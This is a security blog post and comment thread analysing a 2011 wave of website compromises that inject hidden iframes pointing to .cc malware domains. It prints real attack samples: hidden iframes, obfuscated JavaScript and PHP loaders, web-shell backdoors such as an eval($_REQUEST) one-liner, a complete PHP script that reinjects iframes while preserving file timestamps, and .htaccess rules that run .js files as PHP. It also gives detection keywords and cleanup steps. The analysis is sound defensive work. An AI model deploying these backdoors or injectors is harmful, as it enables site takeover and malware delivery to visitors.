msgbartop
Unmask Parasites - Check your web pages for hidden links, iframes, malicious scripts, unauthorized redirects and other signs of security problems.
msgbarbottom
Loading site search ...

Versatile .CC Attacks

   02 Mar 11   Filed in Website exploits

A few days ago I tweeted that “this year the most popular TLD for malicious sites is .CC“. I conducted some research on the most prevalent attacks that use the .CC TLD and now want to elaborate on what is going on.

Lately, the majority of websites with security problems (that people check on Unmask Parasites) have very similar “What happened when Google visited this site?” sections on their Safe Browsing diagnostic pages. They mention several malicious site on .cc domains, e.g.

Malicious software is hosted on 8 domain(s), including gsdg2g32 .co.cc/, asfiuweof .co.cc/, hndfdfnfdnxdnf .vv.cc/.

Nonetheless, at the first glance, all those attacks look different. Some of them just inject hidden iframes into index pages of websites:

<i frame src="http://hrh45jftjfj .co .cc/QQkFBg0AAQ0MBA0DEkcJBQYNAwcCAQMMAw==" width="1" height="1"></iframe>

Other replace the whole content of site index pages with similar iframes.

In some cases, hackers inject the following code into index.php files:

<?php eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9I...skipped...+PC9pZnJhbWU+JzsNCn0=')); ?>

This code effectively injects the same hidden iframes into web pages, but does so only if the page is requested by real web surfers. It detects known search engine bots by their User-Agent strings and IP addresses and hides the malicious content from them.

Another variation is the following injected script (usually right after the <body> tag):

function decrypt _p(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,27,59,61,20,5...skipped...,25,4,35,22,58,46,7);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(165^w&255);w>>=8;s-=2}else{s=6}}d ocument.write(r)}}decrypt_p("t9TaX7f9PXqA...skipped...kYphTZzc")

which injects the same type of hidden iframe from a .cc site, e.g. hxxp://gsdg2g32 .co .cc/QQkFBg0AAQ0MBA0DEkcJBQYNAgAGBQUBDA==.

Here’s one more malicious script that I found on some compromised websites:

;function uVAw15MI(){function a(b){if(b.contentDocument)return b.contentDocument;if(b.contentWindow)return b.contentWindow.document;return b.document;}var c={};with(c){d=/a/.__proto__=='//';e='\v'=='v';}var f='lfYm4mg';var g='i0sHfQ';var h='lfYm4mghlfYm4mgtlf...skipped...Ym4mgplfYm4mg';var k='lfYm4mgilfYm4mgflfYm4mgrlfYm4mgalfYm4mgmlfYm4mgelfYm4mg';var i=c.e?'<'+k.split(f).join('')+' name="'+g+'" src="'+h.split(f).join('')+'">':k.split(f).join('');var j=document.createElement(i);with(j){name=g;setAttribute('name',g);id=g;}...skipped...with(j.style){if(!c.d)position='absolute';left=top='0px';height=width='1px';visibility='hidden';}if(!c.e)a(j).location.replace(h.split(f).join(''));}if(!window.clwtfIA){h6MgQg=setInterval(uVAw15MI,1000);window.clwtfIA=true;};

In this case the URL of the generated iframe is slightly different: hxxp://goertyw .cz .cc/slmk/trvwjvtszy.php

Even more interesting injection type is reported by Sucuri. They found malicious PHP code injected into .JS files!!!

<?php $de="HTTP_USER_AGENT";$ar=$_SERVER[$de];if(stristr($ar,"MSIE")&&stristr($ar,"Windows"))echo "document.writ e(unescape(""%3C%73%63...%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6F%69%77%64%64%2E%63%6F%2E%63%63%2F%34%31%22...%69%70%74%3E""));" ?>

Once executed, an external script from “oiwdd .co.cc” is silently injected into a web page. To make this code work, hackers also create/modify .htaccess files to register .js files to be processed as PHP.

AddHandler php5-script .js
AddType application/x-httpd-php .js

Update (March 10, 2011): I see a new type of malicious injection on quite a few sites now. At the very bottom of HTML code:

</body><s cript type="text/javascript" src="hxxp://republikainfo .com/templates/beez5/javascript/html.js"></script></html>

the script from that “republikainfo .com” site simply generates a hidden iframe with a very familiar source:
hxxp://hdhdfshse4h .co.cc/QQkFBg0MBAEDAAABEkcJBQYNDQAFAgIDAw==

Common features

All these attacks have several common features:

1. They use .cc top level domains for malicious sites. Mainly *.co.cc, *.cz.cc and *.vv.cc, where anyone can register domain names for free. And since hackers use quite random sequences of characters as domain names, they don’t even have to worry about unavailability of certain names.

2. They regularly update injected malicious code (html, javascript and php) to redirect web surfers to new malicious domains every day.

3. Tampered legitimate files don’t change their modification date. And their permissions are usually 644 (i.e. only their owner can modify them)

4. Removing the malicious code from your files is not enough. Just a few hours later a new revision of the malicious code can be injected into your web pages. Sometimes, into different places, which makes detection and automated removal more difficult.

Attack Vector

During the last couple of weeks, I talked to many webmasters and hosting providers (special thanks to Michael Karr and Benjamin Davis from HostGator) and now have quite a complete picture of these .CC attacks.

In most cases, this is a 2 stage attack.

Stage 1: Use vulnerabilities in popular web applications to upload backdoor files to compromised web sites.

Stage 2: Use the uploaded backdoors to further compromise websites:

  • inject malicious content into legitimate files
  • create more backdoor files (including injecting backdoor code into legitimate .php files)
  • compromise other sites under the same account.

Backdoors

Locations

Backdoor files can be scattered all over the server under users’ accounts. However, most frequently, they can be found in directories with static content, e.g. “images“, “css“, etc (e.g. imageth.php in an “images” directory). Usually in under the admin section of a web site. In case of WordPress, themes and plugins directories are very popular locations for backdoor scripts.

Samples

Here are some real samples of backdoor code.

googlef0ee9bc90f224b30.php in root directories of OSCommerce sites (filename may be different but they all resemble Google’s verification files, although with .php extension instead of .txt)

<?php if(isset($_GET["797f0ee9bc90f224b30494aff31cb9"])){
$auth_pass="";
$color="#df5";
$default_action="FilesMan";
$default_charset="Windows-1251";
preg_replace("/.*/e","\x65\x76\x61\x6C\x2...skipped...='\x29\x29\x29\x3B",".");
} ?>

Such web shells can also be a part of the OSCommerce .htaccess redirect hack.

Another variation:

<?php $D=strrev('edoced_46esab');$s=gzinflate($D('7X1te...skipped...+Dw=='));create_function('',"}$s//"); ?>

img/index.php in a WordPress theme directory

<?php if (!function_exists("T7FC56270E7A70FA81A5935B72EACBE29")) { ... preg_match(base64_decode("LyhwcmludHxzcHJpbnR8ZWNobykv"), .... } eval(T7FC56270E7A70FA81A5935B72EACBE29("QAAAPD...skipped...HrDdsw==")); ?>

footer.php in a WordPress theme directory

<?php eval(@gzinflate(base64_decode('vP1rc+pItyaKfu9fUT...skipped...Amdfy+/vvf//1vf/vP//63/wE='))); ?>

The first line of the functions.php file in a WordPress theme directory

<?php if (isset($_REQUEST['asc'])) eval(stripslashes($_REQUEST['asc']));
.
// This file is part of the Carrington Text Theme for WordPress

The first line of the 404.php file in a WordPress theme directory

<?php $_POST["12"] && exit(@eval(@gzinflate(@base64_decode($_POST["12"])))); if(isset($_COOKIE["ln"])) { $sh = "7b1r...skipped...=";exit(@eval(@gzinflate(@base64_decode($sh)))); } ?><?php
/**
* @package WordPress
* @subpackage Default_Theme
*/

another index.php file

eval(gzinflate(base64_decode('7P37ehq58igM...skipped...a3TC11S/OK//Aw==')));

Functionality

To check what exactly hackers do with those backdoors, folks at HostGator hijacked one of such files and intercepted the code that cybercriminals wanted to execute on a compromised server:

<?php
error_reporting(0);set_time_limit(0);
$paths = '/home/redacted/public_html/redacted.com/index.html | /home/redacted/public_html/www.redacted.com/index.php | /home/redacted/public_html/redacted/index.php';
$paths = explode(' | ',$paths);
$frame_old='# *(eval\(base64_decode\(.+\)\);)|(<iframe.+</iframe>)#i';
$frame_new_php='eval(base64_decode(\'ZXJyb3JfcmVwb3J...skipped...w0KfQ==\'));';
$frame_new_htm = '<i frame src="hxxp://hgerwhu45 .co .cc/QQkFBg0AAQ0MBA0DEkcJBQYNAwcCAQMMAw==" width="1" height="1"></iframe>';
foreach($paths as $path) {
$path = trim($path);
if(!is_writable($path)) continue;
$filetime=filemtime ($path);
$fd=fopen($path,"r");
$buffer=fread($fd, filesize($path));
fclose($fd);
$buffer=preg_replace($frame_old,'',$buffer);
if (strpos($path,'.php')!==false)
$buffer=preg_replace('#<\?php#i', '<?php '.$frame_new_php , $buffer , 1);
else
$buffer=preg_replace('#<body[^>]*>#i', '\\0'.$frame_new_htm , $buffer , 1);
$fd=fopen($path, "w");
fwrite($fd, $buffer);
fclose($fd);
touch($path , $filetime);
}
die('1111CHECKSTRING1111');
?>

As you can see:

  • this code searches for writable index files (index.html and index.php) and then tries to remove previous copy of the malicious code and inject a new revision. Note, the code is executed with site owners permissions so every file with 644 permission is writable.
  • It injects an invisible .cc iframe HTML code into .html files and an obfuscated PHP code (that injects the same iframe plus some anti-bot logic) into .php files.
  • it preserves the modification date

To webmasters

If your site is affected by this malware attack (i.e. you see .cc iframes in your web pages or Google blacklists your site and mentions .cc domains on a Safe Browsing diagnostic page), you should do the following:

1. Find and remove all backdoor scripts

Ideally, all your server files are under some revision control, and all you need to do it check for latest changes (which will show you all changed/created files) and then discard all unauthorized modifications.

Alternatively, scan all your server files for the following strings: “eval“, “base64_decode“, “edoced_46esab“, “gzinflate“, “gzuncompress” , “eval(stripslashes“, “FilesMan“. Sometimes, legitimate files can use these keywords, so make sure to check the found files manually. Here are some good signs that the code is not legitimate:

  • Obfuscation – long strings of unreadable characters
    example: eval(@gzinflate(base64_decode(‘vP1rc+pItyaKfu9fUTti7b3e1W…
  • Using eval function to execute code that comes directly from user input
    example: eval(stripslashes($_REQUEST['asc']))

One more way to find backdoor scripts is to scan raw web server logs for suspicious POST requests. In a normal web application there shouldn’t be many files that process POST request so it won’t take long to filter out legitimate files.

2. Prevent reinfection

Now that you’ve found and removed the backdoor scripts, you should make sure that hackers can’t upload and use new malicious files.

Step #1. Upgrade all third-party applications to their latest versions on all of your websites.

Step #2. Make sure web applications are properly configured and hardened.

Here are some resources on hardening WordPress
http://codex.wordpress.org/Hardening_WordPress
and OSCommerce:

http://forums.oscommerce.com/topic/313323-how-to-secure-your-site/
http://blog.sucuri.net/2010/11/continuing-attacks-against-oscommerce-sites.html

Note that in case of OSCommerce, hackers like to use vulnerabilities in “/admin/file_manager.php” and “/admin/categories.php“. So Step #3 is to protect site’s admin interface. For example, you can password-protect access to this directory (.htaccess + .htpasswd) or restrict access from trusted IPs only (.htaccess).

Step #4. Since hackers like to upload backdoor scripts to images directories, you might want to configure directories with static content so that no files there can execute PHP code. For example, you can try this directive in a .htaccess file:

php_flag engine off

or these (depending on your server configuration)
RemoveHandler .php
RemoveType .php

3. Remove malicious code from your web pages

If you have a fresh clean backup copy of your site, you can just remove everything and then restore the whole site form that backup.

It is also very simple if your site is under revision control — just revert it to a known clean state.

Otherwise, you’ll need to clean files manually one-by-one. You should pay special attention to all index files (index.html, index.php, etc.), JavaScript files (.js) and .htaccess files.

4. Request malware review if your site is blacklisted

To unblock your sites, you should explicitly request a malware review via Google Webmaster Tools (Diagnostics -> Malware) for each blacklisted site individually. It will take about one day to review and remove malware warnings if your sites are found clean.

Note, without this request, it may take several weeks to unblock your sites even if they are clean.

Summary

This looks like a most versatile malware attack that I’ve ever seen:

  • They use multiple vulnerabilities in multiple web applications (e.g. OSCommerce, WordPress, Joomla, SohoLaunch, etc.)
  • They inject different types of malicious code (HTML and PHP) into different type of files (.html, .php, .js)
  • They even use .htaccess files to make PHP code in .js files executable.
  • On the same site, they may change injection types almost every day.
  • And of course, they change malicious domains every day (as many other malware attacks though)

As a result, these .cc attacks target more sites than other typical attacks that only use vulnerabilities of a single application. Plus compromise detection and clean up can be challenged by unpredictability of malware injections — their type and location.

Have your say

Please, let me know if I missed any important details about these .cc attacks. Maybe, you’ve come across different types of malicious content or infection vectors that you think can be related to what I described here. Your comments are welcome.

Related posts:

Reader's Comments (28)

  1. |

    Hello,

    So far this is the best article out there about this new and very dangerous virus. I must say I have tried EVERYTHING. It returns .. I’m not sure how. My last resort was to close all the sites. I’ve checked the raw logs and there’s nothing strange. I can’t believed I’ve been hacked this way. The file modification date remains the same even after index.php gets infected so it is clearly not via ftp, even though I scanned all my machines.
    I see that you discussed with HostGator guys that catched a backdoor. Do you have more info on that ? My shared hosting is with them but they answer way too slow on their ticketing system.
    Please help me, I don’t know what else to do, I’ve spent 4 days trying to remove this virus without success. Please email me to the email I’ve posted this comment with.

    Thank you very much,
    Daniel

    • |

      Hi Daniel,

      You should definitely search for the backdoor files and injected script. They can be in any site under you account. You should check them all.

      And then make sure to upgrade all third-party applications and properly configure them to prevent reinfections

      • |

        Hey Denis,

        I can’t stress enough how good and helpful your article is. I think I’ve found the backdoor. It was the extra code in functions.php from the theme, as you described:
        <?php if (isset($_REQUEST['asc'])) eval(stripslashes($_REQUEST['asc']));

        Now my main concern is how did they manage to put it there since they might be able to put it back.
        1) virus on my machine and got my ftp details and uploaded. The thing is that I had saved ftp details from other hostings in my ftp client and those are untouched so I don't think this is it. I've scanned my machine with 3-4 up to date scanners

        2) hack on my sites probably a 777 directory or a vulnerability on the old 2.8.1 wordpress I had installed so far (it is updated now)

        Thanks,
        Daniel

        • |

          The old WordPress installation is the #1 suspect, so the upgrade is the first thing you should do.

          However, it always pays to check your computer for malware and change passwords. Especially given that you site had been infected and you probably opened it.

          P.S. Note, that _REQUEST['asc'] backdoor can be not the only one. Check other theme files and other themes as well.

      • |

        Hey Denis,

        I’d also like to contribute with something here since this was very helpful to me. I couldn’t find a tool that I can use to search via ftp and the cpanel also doesn’t offer anything. So instead of downloading all the sites locally to search, I found and adapted a script that can be uploaded on hosting and used to search the file contents for certain strings as the article describes. Here is the php script for anyone interested:
        http://www.creatorul.net/wpsearch.zip

        Cheers

    • |

      Daniel,

      I apologize for the delay. We have been under quite heavy load recently.

      If possible, can you supply me with your ticket number so I can look into this for you in more depth?

  2. |

    big thanks to both Denis and Daniel on this one! I have been working with Daniel for a few days now trying to rid my sites of this same virus as well. With their help it looks like I was finally able to! I too found the string:

    <?php if (isset($_REQUEST['asc'])) eval(stripslashes($_REQUEST['asc']));

    It was in an archives.php in a theme file. They absolute key is the search file that daniel posted that allowed me to search all my server at once (over 10 complete sites). it would have been impossible to download them all and do it that way. And thanks to you Denis for showing us what to search for!

    Thanks!
    -Jesse

  3. |

    Thank you for this post. All my sites running wordpress got hacked. I was shocked. Then I was searching yesterday and today, and come across this site and a few others with the same “eval” issue. No files were timestamped with any updates for years. Then I downloaded the index.php, and there was the base64 code just sitting there on top. I have other sites running PHP, but not wordpress. ONLY MY WORDPRESS SITES ARE AFFECTED (so it seems). The funny thing is that I have 1 wordpress site for years (never updated that version), 2 other “test” wordpress sites on test folders. So my “main.com” site doesn’t get the error, but “main.com/test” gets the malware alert from chrome.

    It could have been the old wordpress version, or it could have been the latest theme i downloaded already had the code in there. From now on, i am going to only download ones from wordpress.org or get buy a premium one.

    Now I am just going to delete most of the sites.

    Few questions:

    How does the backdoor actually work? Through comments, or a vulnerable php file? Then it goes up a directory tree and sees i have 10 other sites? then only targets wordpress files? Does it touch my database files?

    Thanks for your help.

    • |

      I believe, via vulnerable .php files of web applications (WordPress, OSCommerce, etc.). When they upload that file, they can use it to execute any code on compromised servers. They usually upload so called web shell to explore to discover new sites under the same account and find suitable locations for new backdors injections (e.g. backdoor code in theme files).
      Then they use backdoors on all compromised sites all over the web to automatically inject malicious code into legitimate web pages.

      • |

        It looks like the exploit uses the out of date timthumb.php file in older versions of WordPress to upload files which are then executed. These files will add code to index files, edit .htaccess to execute other file extensions and also upload additional scripts, iframes etc….

        here is a handy command to find the files:

        grep -Z -R “part of the script you are searching for here” /your/directory/* >> affected-files.txt

        Then you can nano affected-files.txt for a list of files.

  4. |

    Thank you for this article, it’s a great help. Over at FileDen.com we’ve been experiencing issues with these .co.cc attacks over the last week or so and have been struggling to get to the bottom of it due to the sheer size of our log files.

    Once the backdoor is there of course, it’s extremely hard to spot what they’re doing. We had a wordpress installation, but took it down when we originally got infected expecting it to be the cause.

    Have you seen any cases of them writing backdoors to files outside of wordpress? The iframes themselves have been showing up on files on the main FileDen.com website.

    • |

      It will be much easier if you only check POST requests in logs (and exclude most common URLs).

      >Have you seen any cases of them writing backdoors to files outside of wordpress?

      Sure. They use vulnerabilities in many popular web applications. And once they are there, they will try to infect everything they have access to.

      Also note that this article doesn’t cover all types of .CC attacks. For example, I’ve also seen .CC domains in attack that used hole in advertising engines.

  5. |

    Unless you have something like mod_security running that is capturing some more information, it is sometimes hard to see more of what it happening. I had a wordpress installation which was pretty much patched that was compromised. The compromise appeared to start with self-registration being left on and someone from Poland registering themselves. Later, an attack from an address in china seemed to use a valid session cookie and gained access. within a minute an Ip address from columbia connected and edited a php file in a theme allowing for the asc= variable. I have the full set of attacks after that — a base64 encoded string which searched the full system for any index.htm* and index.php files that were writable. After that a focused attack using the file list gleaned from the original probe pushed out the iframe updates. I am seeing between 5 and 15 updates per day that attempt to change the URL. The updates are coming from computers all over the world, but are targeting specifically this server. All that is seen with the attack after the original compromise is a POST / — nothing else. One thing I have noted is that all of what I assume are bot members trying to update the links have the following user agent:
    “Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MyIE2;” I’m keying off of the Mozila and the MyIE2 parts to autoblock addresses as they attempt the updates (148 unique attacking addresses so far, most since the 27th of Feb)

    Example log:
    aaa.bbb.ccc.ddd – - [20/Mar/2011:10:40:12 -0600] “POST / HTTP/1.0″ 200 40522 “-” “Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MyIE2;”

    with the POST containing
    asc=eval(base64_decode(%27ZXJyb3JfcmVwb3J0aW5nKDApO3NldF90 which is specific to this server.

  6. |

    Hi,
    I’m still wondering how this could happen:
    “within a minute an Ip address from columbia connected and edited a php file”

    If the file is not writable I’m not clear how this could even be possible. Does your host have suPHP setup such that all users have ownership as themselves and not “nobody”

    What were the permissions on the file before it was edited in this way?

    Thank you for the details,
    Jim

  7. |

    It’s a lame manual. You delete only side effects of disease and cannot even imagine depth of the problem.
    What will you do,if you have frame, but there is a fresh install of WP. Nothing! Reboot, ps aux | grep hacker , who and other helpful commands :)
    You’ve stopped thinking!

    • |

      Thanks for taking your time to read my blog!

      Definitely, this article cannot cover all possible hacks. But it provides quite useful instructions. And what’s more important, they are backed by log analyses on multiple real hacked web sites (where I could see the attack step-by-step).

      Unfortunately, this is not the only attack in the wild and some iframe injections use different vectors.

      By the way, thanks for the very useful “ps aux | grep hacker” command. If you know some more magic commands, please write your manual on how to use them and let us know where we can read it ;-)

  8. |

    I dont want to offend you, sorry.But I know too much people who make money injecting frame – a long time ago i was one of them ;), so I can tell – the frame generate nix-based OS. “Kernel” make the frame ;)
    Delete everything and install again.
    If you need know more – contact me – I’ll show you the painless way to do this.

    • |

      That’s interesting. I’ve seen a few attacks that used Linux vulnerabilities and binary exploits, for example this one, and a few where I suspected some OS problems.

      How can I contact you? The email you provided doesn’t seem to be real…

  9. |

    To dear denis,
    firstly,forgive my poor english.

    Then thanks for your article,although it’s hard to me :) because of my poor english.

    And i write to you because my site is also get hacked,and i found bad code:<?php eval(base64_decode('ZXJ….
    in the root/index.php and /admin/index.php(i cant find any more),im not sure if there are more bad code in other files.

    and my site is a zen-cart systerm(something like osCommerce shopping cart).I have read this articles 3 times,but i cant find how to fix my zencart site because you have not mentioned any methoeds to fix zencart sites.

    So i'm writing to you ask for how to find backdoors in zencart sites.

    Im really appreciate your help!!

    Many thanks
    Mya : )

    • |

      I’m not familiar with Zen Cart but the approach should be the same:
      1. Check file for integrity (files that changed or has been added since the initial installation)
      2. Scan all the files for the keywords you can find in my article
      3. Scan access logs for suspicious POST requests

      P.S. Consider password-protecting the /admin directory

  10. |

    The vulnerability is/was actually timthumb. Using WooThemes or others that use that (f)utility? You’re f*#%$d. Update them…

    The idiots hacking the blogs hit up common paths of themes with timthumb and if they find them… you know what happens.

  11. |

    [...] em seguida as dicas deste outro post, para eliminar os geradores de [...]

  12. |

    Cleaning a 3 GB space in my host is killing me, and i can not find the source of infection for 3 weeks. Damn. Thank you for the post, now i have few more places to look :)

  13. |

    I cleaned the nasty codes months ago and the hackers came back! I just found scripts hidden inside HTML files in my non wordpress folders. Some of these folders are not even indexed by Google, which means that somebody entered via FTP. the cod was hidden waaay down at the end of the HTML, and it was a long obfuscated code, which started like this: “”

    I right clicked on my whole backup and scanned with AVG and it found a lot of HTML/Framer – I just don’t know, why it didn’t found before, when it makes full scan.

    Some jquery.js files were also highlighted as HTML/Framer so I downloaded the same version of jquery.js and compared, they are different. I am not programmer, but it seams that hackers modified these files as well.

    • |

      I don’t know how to paste code here, so again the code contained SCRIPT id=”googleblogcontainer”

  14. |

    [...] read up on this hack and all signs point to a hole in old versions WordPress blogging platform I use here [...]